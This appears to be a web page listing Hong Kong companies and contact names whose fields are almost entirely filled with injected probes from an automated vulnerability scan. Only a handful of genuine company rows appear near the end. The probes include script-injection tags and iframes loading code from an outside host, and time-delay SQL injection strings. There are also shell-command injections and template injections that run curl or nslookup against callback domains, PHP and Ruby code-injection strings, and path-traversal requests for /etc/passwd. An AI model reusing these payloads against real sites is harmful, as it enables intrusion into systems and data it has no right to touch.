%54%65%73%74%69%6E%67%3C%53%63%52%69%50%74%20%3E%45%4A%53%52%289535%29%3C%2F%73%43%72%69%70%54%3E
wrBEIRqX |
|
|
Testing
wrBEIRqX<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9647'> |
|
|
Testing<img/src=">" onerror=alert(9147)>
wrBEIRqX |
|
|
Testing
wrBEIRqX<isindex type=image src=1 onerror=ZG8x(9705)> |
|
|
Testing<img src=xyz OnErRor=EJSR(9097)>
wrBEIRqX |
|
|
Testing<img src=//xss.bxss.me/t/dot.gif onload=EJSR(9324)>
wrBEIRqX |
|
|
Testing
wrBEIRqX< ScRiPt
>ZG8x(9372)</ScRiPt> |
|
|
Testing<body onload=EJSR(9706)>
wrBEIRqX |
|
|
Testing
wrBEIRqX<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9963></ScRiPt> |
|
|
Testing<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9406'>
wrBEIRqX |
|
|
Testing
wrBEIRqX<ScRiPt
>ZG8x(9338)</ScRiPt> |
|
|
Testing<isindex type=image src=1 onerror=EJSR(9390)>
wrBEIRqX |
|
|
Testing
wrBEIRqX<ScR<ScRiPt>IpT>ZG8x(9741)</sCr<ScRiPt>IpT> |
|
|
Testing
wrBEIRqX<script>ZG8x(9581)</script>9581 |
|
|
Testing< ScRiPt
>EJSR(9471)</ScRiPt>
wrBEIRqX |
|
|
Testing
wrBEIRqX<script>ZG8x(9133)</script> |
|
|
Testing<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9843></ScRiPt>
wrBEIRqX |
|
|
Testing
wrBEIRqX<WDXDY8>HTAVK[!+!]</WDXDY8> |
|
|
Testing<ScRiPt
>EJSR(9061)</ScRiPt>
wrBEIRqX |
|
|
Testing
wrBEIRqX<ScRiPt >ZG8x(9807)</ScRiPt> |
|
|
Testing<ScR<ScRiPt>IpT>EJSR(9581)</sCr<ScRiPt>IpT>
wrBEIRqX |
|
|
Testing
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o") |
|
|
Testing<script>EJSR(9516)</script>9516
wrBEIRqX |
|
|
Testing
dfb__${98991*97996}__::.x |
|
|
Testing<script>EJSR(9352)</script>
wrBEIRqX |
|
|
Testing
dfb[[${98991*97996}]]xca |
|
|
Testing
dfb{{98991*97996}}xca |
|
|
Testing<WTWVZY>CHXDY[!+!]</WTWVZY>
wrBEIRqX |
|
|
Testing<ScRiPt >EJSR(9373)</ScRiPt>
wrBEIRqX |
|
|
Testing
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%> |
|
|
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
wrBEIRqX |
|
|
Testing
<th:t="${dfb}#foreach |
|
|
dfb__${98991*97996}__::.x
wrBEIRqX |
|
|
dfb[[${98991*97996}]]xca
wrBEIRqX |
|
|
Testing
<%={{={@{#{${dfb}}%> |
|
|
dfb{{98991*97996}}xca
wrBEIRqX |
|
|
Testing
bfg3762＜s1﹥s2ʺs3ʹhjl3762 |
|
|
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
wrBEIRqX |
|
|
<th:t="${dfb}#foreach
wrBEIRqX |
|
|
<%={{={@{#{${dfb}}%>
wrBEIRqX |
|
|
Testing
'"()&%<zzz><ScRiPt >ZG8x(9243)</ScRiPt> |
|
|
bfg7121＜s1﹥s2ʺs3ʹhjl7121
wrBEIRqX |
|
|
'"()&%<zzz><ScRiPt >EJSR(9925)</ScRiPt>
wrBEIRqX |
|
|
Testing
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityhzryzyffg17455.bxss.me")}} |
|
|
Testing
wrBEIRqX'"()&%<zzz><ScRiPt >ZG8x(9951)</ScRiPt> |
|
|
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitvygpdebxvf611b5.bxss.me")}}
wrBEIRqX |
|
|
Testing'"()&%<zzz><ScRiPt >EJSR(9240)</ScRiPt>
wrBEIRqX |
|
|
Testing<aV4ipLu<
wrBEIRqX |
|
|
Testing<img sRc='http://attacker-9018/log.php?
wrBEIRqX |
|
|
Testing<as3DniJ x=9134>
wrBEIRqX |
|
|
Testing<ifRAme sRc=9813.com></IfRamE>
wrBEIRqX |
|
|
Testing<W5LHSP>EXK7B[!+!]</W5LHSP>
wrBEIRqX |
|
|
Testing1h4wf
<ScRiPt >b0B7(9219)</ScRiPt>
wrBEIRqX |
|
|
Testing}body{zzz:Expre/**/SSion(b0B7(9217))}
wrBEIRqX |
|
|
<a HrEF=jaVaScRiPT:>
wrBEIRqX |
|
|
<a HrEF=http://xss.bxss.me></a>
wrBEIRqX |
|
|
Testing<input autofocus onfocus=b0B7(9276)>
wrBEIRqX |
|
|
Testing<ScRiPt>b0B7(9287)</sCripT>
wrBEIRqX |
|
|
Testing\u003CScRiPt\b0B7(9113)\u003C/sCripT\u003E
wrBEIRqX |
|
|
%54%65%73%74%69%6E%67%3C%53%63%52%69%50%74%20%3E%62%30%42%37%289322%29%3C%2F%73%43%72%69%70%54%3E
wrBEIRqX |
|
|
Testing<img/src=">" onerror=alert(9502)>
wrBEIRqX |
|
|
Testing<img src=xyz OnErRor=b0B7(9019)>
wrBEIRqX |
|
|
Testing<img src=//xss.bxss.me/t/dot.gif onload=b0B7(9639)>
wrBEIRqX |
|
|
Testing
wrBEIRqX<ahxCMzQ< |
|
|
Testing
wrBEIRqX<img sRc='http://attacker-9250/log.php? |
|
|
Testing<body onload=b0B7(9472)>
wrBEIRqX |
|
|
Testing
wrBEIRqX<ag05L6m x=9483> |
|
|
Testing<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9299'>
wrBEIRqX |
|
|
Testing
wrBEIRqX<ifRAme sRc=9298.com></IfRamE> |
|
|
Testing<isindex type=image src=1 onerror=b0B7(9413)>
wrBEIRqX |
|
|
Testing
wrBEIRqX<WPYSSD>9WQCE[!+!]</WPYSSD> |
|
|
Testing
wrBEIRqXQ2lph
<ScRiPt >z7lR(9644)</ScRiPt> |
|
|
Testing< ScRiPt
>b0B7(9683)</ScRiPt>
wrBEIRqX |
|
|
Testing
wrBEIRqX}body{zzz:Expre/**/SSion(z7lR(9666))} |
|
|
Testing<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9178></ScRiPt>
wrBEIRqX |
|
|
Testing
<a HrEF=jaVaScRiPT:> |
|
|
Testing<ScRiPt
>b0B7(9299)</ScRiPt>
wrBEIRqX |
|
|
Testing
<a HrEF=http://xss.bxss.me></a> |
|
|
Testing
wrBEIRqX<input autofocus onfocus=z7lR(9495)> |
|
|
Testing<ScR<ScRiPt>IpT>b0B7(9398)</sCr<ScRiPt>IpT>
wrBEIRqX |
|
|
Testing<script>b0B7(9766)</script>9766
wrBEIRqX |
|
|
Testing
wrBEIRqX<ScRiPt>z7lR(9485)</sCripT> |
|
|
Testing<script>b0B7(9779)</script>
wrBEIRqX |
|
|
Testing
wrBEIRqX\u003CScRiPt\z7lR(9601)\u003C/sCripT\u003E |
|
|
Testing<WG4OQ7>LOF0Y[!+!]</WG4OQ7>
wrBEIRqX |
|
|
Testing
%77%72%42%45%49%52%71%58%3C%53%63%52%69%50%74%20%3E%7A%37%6C%52%289283%29%3C%2F%73%43%72%69%70%54%3E |
|
|
Testing<ScRiPt >b0B7(9162)</ScRiPt>
wrBEIRqX |
|
|
Testing
wrBEIRqX<img/src=">" onerror=alert(9360)> |
|
|
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
wrBEIRqX |
|
|
Testing
wrBEIRqX<img src=xyz OnErRor=z7lR(9315)> |
|
|
dfb__${98991*97996}__::.x
wrBEIRqX |
|
|
Testing
wrBEIRqX<img src=//xss.bxss.me/t/dot.gif onload=z7lR(9675)> |
|
|
dfb[[${98991*97996}]]xca
wrBEIRqX |
|
|
Testing
wrBEIRqX<body onload=z7lR(9472)> |
|
|
dfb{{98991*97996}}xca
wrBEIRqX |
|
|
Testing
wrBEIRqX<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9316'> |
|
|
Testing
wrBEIRqX<isindex type=image src=1 onerror=z7lR(9033)> |
|
|
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
wrBEIRqX |
|
|
Testing
wrBEIRqX< ScRiPt
>z7lR(9511)</ScRiPt> |
|
|
<th:t="${dfb}#foreach
wrBEIRqX |
|
|
Testing
wrBEIRqX<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9698></ScRiPt> |
|
|
Testing
wrBEIRqX<ScRiPt
>z7lR(9788)</ScRiPt> |
|
|
<%={{={@{#{${dfb}}%>
wrBEIRqX |
|
|
Testing
wrBEIRqX<ScR<ScRiPt>IpT>z7lR(9213)</sCr<ScRiPt>IpT> |
|
|
bfg5291＜s1﹥s2ʺs3ʹhjl5291
wrBEIRqX |
|
|
Testing
wrBEIRqX<script>z7lR(9513)</script>9513 |
|
|
Testing
wrBEIRqX<script>z7lR(9562)</script> |
|
|
Testing
wrBEIRqX<W2MWIA>PC28H[!+!]</W2MWIA> |
|
|
'"()&%<zzz><ScRiPt >b0B7(9338)</ScRiPt>
wrBEIRqX |
|
|
Testing
wrBEIRqX<ScRiPt >z7lR(9988)</ScRiPt> |
|
|
Testing
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o") |
|
|
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitnidzwcilfh31839.bxss.me")}}
wrBEIRqX |
|
|
Testing'"()&%<zzz><ScRiPt >b0B7(9751)</ScRiPt>
wrBEIRqX |
|
|
Testing
dfb__${98991*97996}__::.x |
|
|
Testing
dfb[[${98991*97996}]]xca |
|
|
Testing
dfb{{98991*97996}}xca |
|
|
Testing
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%> |
|
|
Testing
<th:t="${dfb}#foreach |
|
|
Testing
<%={{={@{#{${dfb}}%> |
|
|
Testing
bfg9638＜s1﹥s2ʺs3ʹhjl9638 |
|
|
Testing
'"()&%<zzz><ScRiPt >z7lR(9601)</ScRiPt> |
|
|
Testing
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitaremddnooi6c20f.bxss.me")}} |
|
|
Testing
wrBEIRqX'"()&%<zzz><ScRiPt >z7lR(9416)</ScRiPt> |
|
|
Testing
(select 198766*667891 from DUAL) |
|
|
Testing
(select 198766*667891) |
|
|
Testing
wrBEIRqX'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' |
|
|
Testing
wrBEIRqX9IbYJyPn')) OR 177=(SELECT 177 FROM PG_SLEEP(15))-- |
|
|
Testing
wrBEIRqXK4fz9pLs') OR 628=(SELECT 628 FROM PG_SLEEP(15))-- |
|
|
Testing
wrBEIRqXq8KFhy6W' OR 960=(SELECT 960 FROM PG_SLEEP(15))-- |
|
|
Testing
wrBEIRqXGLaob8BG'; waitfor delay '0:0:15' -- |
|
|
Testing
wrBEIRqX-1 waitfor delay '0:0:15' -- |
|
|
Testing
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ |
|
|
Testing
wrBEIRqX0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z |
|
|
Testing
wrBEIRqX0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z |
|
|
Testing
if(now()=sysdate(),sleep(15),0) |
|
|
Testing
-1" OR 5*5=25 or "SbpjZQFj"=" |
|
|
Testing
-1' OR 5*5=25 or 'tPuH3KHO'=' |
|
|
Testing
'"()&%<zzz><ScRiPt >Vwq0(9005)</ScRiPt> |
|
|
Testing
&(nslookup${IFS}-q${IFS}cname${IFS}hitxwepgmiqyi64db9.bxss.me||curl${IFS}hitxwepgmiqyi64db9.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitxwepgmiqyi64db9.bxss.me||curl${IFS}hitxwepgmiqyi64db9.bxss.me)&`' |
|
|
Testing
|(nslookup${IFS}-q${IFS}cname${IFS}hitnzkkdyhipr5dbcb.bxss.me||curl${IFS}hitnzkkdyhipr5dbcb.bxss.me) |
|
|
Testing
;(nslookup -q=cname hitpylijgvhdu342fe.bxss.me||curl hitpylijgvhdu342fe.bxss.me)|(nslookup -q=cname hitpylijgvhdu342fe.bxss.me||curl hitpylijgvhdu342fe.bxss.me)&(nslookup -q=cname hitpylijgvhdu342fe.bxss.me||curl hitpylijgvhdu342fe.bxss.me) |
|
|
Testing
`(nslookup -q=cname hitmjopyvkuzg0876f.bxss.me||curl hitmjopyvkuzg0876f.bxss.me)` |
|
|
Testing
|(nslookup -q=cname hityapfknpctzb9721.bxss.me||curl hityapfknpctzb9721.bxss.me) |
|
|
Testing
&(nslookup -q=cname hitijaymmmpdld31e5.bxss.me||curl hitijaymmmpdld31e5.bxss.me)&'\"`0&(nslookup -q=cname hitijaymmmpdld31e5.bxss.me||curl hitijaymmmpdld31e5.bxss.me)&`' |
|
|
Testing
&nslookup -q=cname hitpqvtpimwowf6cdb.bxss.me&'\"`0&nslookup -q=cname hitpqvtpimwowf6cdb.bxss.me&`' |
|
|
Testing
$(nslookup -q=cname hitxenedaxtlred063.bxss.me||curl hitxenedaxtlred063.bxss.me) |
|
|
Testing
(nslookup -q=cname hitxihwbellnh2761f.bxss.me||curl hitxihwbellnh2761f.bxss.me)) |
|
|
(select 198766*667891 from DUAL)
wrBEIRqX |
|
|
Testing
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hituvrxwpukykc4594.bxss.me")}} |
|
|
Testing
expr 9000551863 - 946966 |
|
|
(select 198766*667891)
wrBEIRqX |
|
|
Testing
wrBEIRqX|echo tooadl$()\ lvwthe\nz^xyu||a #' |echo tooadl$()\ lvwthe\nz^xyu||a #|" |echo tooadl$()\ lvwthe\nz^xyu||a # |
|
|
Testing
wrBEIRqX'"()&%<zzz><ScRiPt >Vwq0(9136)</ScRiPt> |
|
|
Testing
|echo jionpd$()\ vynosw\nz^xyu||a #' |echo jionpd$()\ vynosw\nz^xyu||a #|" |echo jionpd$()\ vynosw\nz^xyu||a # |
|
|
Testing
wrBEIRqX&echo lwiwap$()\ iuwwpk\nz^xyu||a #' &echo lwiwap$()\ iuwwpk\nz^xyu||a #|" &echo lwiwap$()\ iuwwpk\nz^xyu||a # |
|
|
Testing
&echo ubekfj$()\ dexrow\nz^xyu||a #' &echo ubekfj$()\ dexrow\nz^xyu||a #|" &echo ubekfj$()\ dexrow\nz^xyu||a # |
|
|
Testing
echo kgpgma$()\ mxzlli\nz^xyu||a #' &echo kgpgma$()\ mxzlli\nz^xyu||a #|" &echo kgpgma$()\ mxzlli\nz^xyu||a # |
|
|
Testing'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
wrBEIRqX |
|
|
TestinghZQRlHkp')) OR 201=(SELECT 201 FROM PG_SLEEP(15))--
wrBEIRqX |
|
|
TestingGFrY7yyw') OR 425=(SELECT 425 FROM PG_SLEEP(15))--
wrBEIRqX |
|
|
TestingfXWbmJaQ' OR 325=(SELECT 325 FROM PG_SLEEP(15))--
wrBEIRqX |
|
|
TestingPLtZE61r'; waitfor delay '0:0:15' --
wrBEIRqX |
|
|
Testing-1 waitfor delay '0:0:15' --
wrBEIRqX |
|
|
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
wrBEIRqX |
|
|
Testing0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
wrBEIRqX |
|
|
Testing0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
wrBEIRqX |
|
|
Testing
wrBEIRqX"||sleep(27*1000)*zysmps||" |
|
|
Testing
wrBEIRqX'||sleep(27*1000)*mmgehf||' |
|
|
if(now()=sysdate(),sleep(15),0)
wrBEIRqX |
|
|
Testing
wrBEIRqX"&&sleep(27*1000)*gdsryq&&" |
|
|
-1" OR 5*5=25 or "wjTf047b"="
wrBEIRqX |
|
|
Testing
wrBEIRqX'&&sleep(27*1000)*ydecjl&&' |
|
|
-1' OR 5*5=25 or 'oeHdMRgU'='
wrBEIRqX |
|
|
-1" OR 5*5=25 --
wrBEIRqX |
|
|
-1' OR 5*5=25 --
wrBEIRqX |
|
|
Testing
http://bxss.me/t/fit.txt?.jpg |
|
|
Testing
Http://bxss.me/t/fit.txt |
|
|
Testing
c:/windows/win.ini |
|
|
Testing
../../../../../../../../../../../../../../etc/shells |
|
|
Testing
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg |
|
|
Testing
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg |
|
|
'"()&%<zzz><ScRiPt >Vwq0(9025)</ScRiPt>
wrBEIRqX |
|
|
Testing
'.print(md5(31337)).' |
|
|
Testing
${@print(md5(31337))}\ |
|
|
Testing
${@print(md5(31337))} |
|
|
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitdhwhzfdkujeb12f.bxss.me")}}
wrBEIRqX |
|
|
Testing
";print(md5(31337));$a=" |
|
|
Testing'"()&%<zzz><ScRiPt >Vwq0(9181)</ScRiPt>
wrBEIRqX |
|
|
Testing
';print(md5(31337));$a=' |
|
|
Testing
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); |
|
|
&(nslookup${IFS}-q${IFS}cname${IFS}hitvrjqxfmxmc4dfe1.bxss.me||curl${IFS}hitvrjqxfmxmc4dfe1.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitvrjqxfmxmc4dfe1.bxss.me||curl${IFS}hitvrjqxfmxmc4dfe1.bxss.me)&`'
wrBEIRqX |
|
|
|(nslookup${IFS}-q${IFS}cname${IFS}hitiiwlcaoedq3bb72.bxss.me||curl${IFS}hitiiwlcaoedq3bb72.bxss.me)
wrBEIRqX |
|
|
;(nslookup -q=cname hitqyffohbuow50657.bxss.me||curl hitqyffohbuow50657.bxss.me)|(nslookup -q=cname hitqyffohbuow50657.bxss.me||curl hitqyffohbuow50657.bxss.me)&(nslookup -q=cname hitqyffohbuow50657.bxss.me||curl hitqyffohbuow50657.bxss.me)
wrBEIRqX |
|
|
`(nslookup -q=cname hityggbsnuyvj88fa8.bxss.me||curl hityggbsnuyvj88fa8.bxss.me)`
wrBEIRqX |
|
|
Testing"||sleep(27*1000)*vnyhzr||"
wrBEIRqX |
|
|
|(nslookup -q=cname hitcwmfzfdkape7b15.bxss.me||curl hitcwmfzfdkape7b15.bxss.me)
wrBEIRqX |
|
|
&(nslookup -q=cname hitewzevfvsva77ee1.bxss.me||curl hitewzevfvsva77ee1.bxss.me)&'\"`0&(nslookup -q=cname hitewzevfvsva77ee1.bxss.me||curl hitewzevfvsva77ee1.bxss.me)&`'
wrBEIRqX |
|
|
Testing'||sleep(27*1000)*ymevjg||'
wrBEIRqX |
|
|
&nslookup -q=cname hitwlvvsgjqjf32200.bxss.me&'\"`0&nslookup -q=cname hitwlvvsgjqjf32200.bxss.me&`'
wrBEIRqX |
|
|
Testing"&&sleep(27*1000)*pwxlop&&"
wrBEIRqX |
|
|
Testing'&&sleep(27*1000)*xgyjqq&&'
wrBEIRqX |
|
|
$(nslookup -q=cname hitrjjgitcjdv9e56b.bxss.me||curl hitrjjgitcjdv9e56b.bxss.me)
wrBEIRqX |
|
|
(nslookup -q=cname hityuhgqieazgda07f.bxss.me||curl hityuhgqieazgda07f.bxss.me))
wrBEIRqX |
|
|
expr 9000193227 - 950327
wrBEIRqX |
|
|
Testing|echo ffwctl$()\ sqtcii\nz^xyu||a #' |echo ffwctl$()\ sqtcii\nz^xyu||a #|" |echo ffwctl$()\ sqtcii\nz^xyu||a #
wrBEIRqX |
|
|
|echo hkdody$()\ hnqwty\nz^xyu||a #' |echo hkdody$()\ hnqwty\nz^xyu||a #|" |echo hkdody$()\ hnqwty\nz^xyu||a #
wrBEIRqX |
|
|
Testing&echo sjfmiu$()\ roryob\nz^xyu||a #' &echo sjfmiu$()\ roryob\nz^xyu||a #|" &echo sjfmiu$()\ roryob\nz^xyu||a #
wrBEIRqX |
|
|
&echo tttsvn$()\ cblxfn\nz^xyu||a #' &echo tttsvn$()\ cblxfn\nz^xyu||a #|" &echo tttsvn$()\ cblxfn\nz^xyu||a #
wrBEIRqX |
|
|
echo prsing$()\ hfqexz\nz^xyu||a #' &echo prsing$()\ hfqexz\nz^xyu||a #|" &echo prsing$()\ hfqexz\nz^xyu||a #
wrBEIRqX |
|
|
http://bxss.me/t/fit.txt?.jpg
wrBEIRqX |
|
|
Testing
'A'.concat(70-3).concat(22*4).concat(105).concat(82).concat(104).concat(75)+(require'socket'
Socket.gethostbyname('hitwg'+'iwkfqjpca20df.bxss.me.')[3].to_s) |
|
|
Http://bxss.me/t/fit.txt
wrBEIRqX |
|
|
'.print(md5(31337)).'
wrBEIRqX |
|
|
Testing
'+'A'.concat(70-3).concat(22*4).concat(98).concat(79).concat(102).concat(85)+(require'socket'
Socket.gethostbyname('hitxc'+'elqmscda8918c.bxss.me.')[3].to_s)+' |
|
|
${@print(md5(31337))}\
wrBEIRqX |
|
|
Testing
"+"A".concat(70-3).concat(22*4).concat(103).concat(89).concat(100).concat(89)+(require"socket"
Socket.gethostbyname("hitdn"+"edkwtfbi8ef11.bxss.me.")[3].to_s)+" |
|
|
c:/windows/win.ini
wrBEIRqX |
|
|
${@print(md5(31337))}
wrBEIRqX |
|
|
Testing
gethostbyname(lc('hitzm'.'jscjlxssb7d6a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(69).chr(111).chr(87) |
|
|
../../../../../../../../../../../../../../etc/shells
wrBEIRqX |
|
|
Testing
file:///etc/passwd |
|
|
Testing
^(#$!@#$)(()))****** |
|
|
";print(md5(31337));$a="
wrBEIRqX |
|
|
Testing
".gethostbyname(lc("hitlr"."jrxsxrzte1de1.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(83).chr(117).chr(86)." |
|
|
Testing
../../../../../../../../../../../../../../windows/win.ini |
|
|
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
wrBEIRqX |
|
|
Testing
'.gethostbyname(lc('hitku'.'thckzmvs77a89.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(83).chr(101).chr(70).' |
|
|
';print(md5(31337));$a='
wrBEIRqX |
|
|
Testing
../../../../../../../../../../../../../../etc/passwd |
|
|
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
wrBEIRqX |
|
|
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
wrBEIRqX |
|
|
Testing
))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) |
|
|
Testing
bxss.me/t/xss.html?%00 |
|
|
Testing
HttP://bxss.me/t/xss.html?%00 |
|
|
'A'.concat(70-3).concat(22*4).concat(107).concat(88).concat(108).concat(76)+(require'socket'
Socket.gethostbyname('hitgy'+'tljoapeh92a41.bxss.me.')[3].to_s)
wrBEIRqX |
|
|
'+'A'.concat(70-3).concat(22*4).concat(116).concat(72).concat(122).concat(70)+(require'socket'
Socket.gethostbyname('hitvm'+'nmallmicc1d63.bxss.me.')[3].to_s)+'
wrBEIRqX |
|
|
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
wrBEIRqX |
|
|
"+"A".concat(70-3).concat(22*4).concat(121).concat(67).concat(111).concat(74)+(require"socket"
Socket.gethostbyname("hitad"+"zhnscuwa0af16.bxss.me.")[3].to_s)+"
wrBEIRqX |
|
|
gethostbyname(lc('hitaj'.'yecqrylu15d0b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(80).chr(112).chr(76)
wrBEIRqX |
|
|
^(#$!@#$)(()))******
wrBEIRqX |
|
|
".gethostbyname(lc("hitzb"."coxwnkrgec6f7.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(72).chr(113).chr(84)."
wrBEIRqX |
|
|
'.gethostbyname(lc('hitni'.'heuqepgr73885.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(79).chr(110).chr(83).'
wrBEIRqX |
|
|
bxss.me/t/xss.html?%00
wrBEIRqX |
|
|
HttP://bxss.me/t/xss.html?%00
wrBEIRqX |
|
|
Testing
wrBEIRqX&n992990=v928148 |
|
|
Testing
"+response.write(9861713*9382100)+" |
|
|
Testing&n994217=v963961
wrBEIRqX |
|
|
file:///etc/passwd
wrBEIRqX |
|
|
Testing
'+response.write(9861713*9382100)+' |
|
|
../../../../../../../../../../../../../../windows/win.ini
wrBEIRqX |
|
|
Testing
response.write(9861713*9382100) |
|
|
Testing
${10000197+9999570} |
|
|
../../../../../../../../../../../../../../etc/passwd
wrBEIRqX |
|
|
${9999680+10000265}
wrBEIRqX |
|
|
Testing
38YvGKXD: DXDIV7iG |
|
|
Testing
wrBEIRqX<esi:include src="http://bxss.me/rpb.png"/> |
|
|
"+response.write(9381402*9605280)+"
wrBEIRqX |
|
|
'+response.write(9381402*9605280)+'
wrBEIRqX |
|
|
response.write(9381402*9605280)
wrBEIRqX |
|
|
RDTVu8rL: yDhV5uUd
wrBEIRqX |
|
|
Testing<esi:include src="http://bxss.me/rpb.png"/>
wrBEIRqX |
|
|
Creation Plastic Mfy Ltd
陳麗霞 |
|
|
Hapchill (HK) Ltd
CHEUNG Wai Chung Jesper |
|
|
United Creation Opitcal Co. Ltd
陸倬鋒 |
|
|
Zmart Concept Limited
蒙賜剛 |
|
|
YH Optics International Ltd
YH Optics International Ltd |
|
|
Dreamtrade Fonhcoo Company
荊培育 |
|
|
Zmart Concept Limited
蒙賜剛 |
|
|
Zmart Concept Limited
蒙賜剛 |
|
|
Zmart Concept Limited
蒙賜剛 |
|
|
Zmart Concept Limited
蒙賜剛 |
|
|
Zmart Concept Limited
蒙賜剛 |
|
|
Zmart Concept Limited
蒙賜剛 |
|
|
Zmart Concept Limited
蒙賜剛 |
|
|
|
|
![](imgs/designer/20<esi:include src="http://bxss.me/rpb.png"/>)
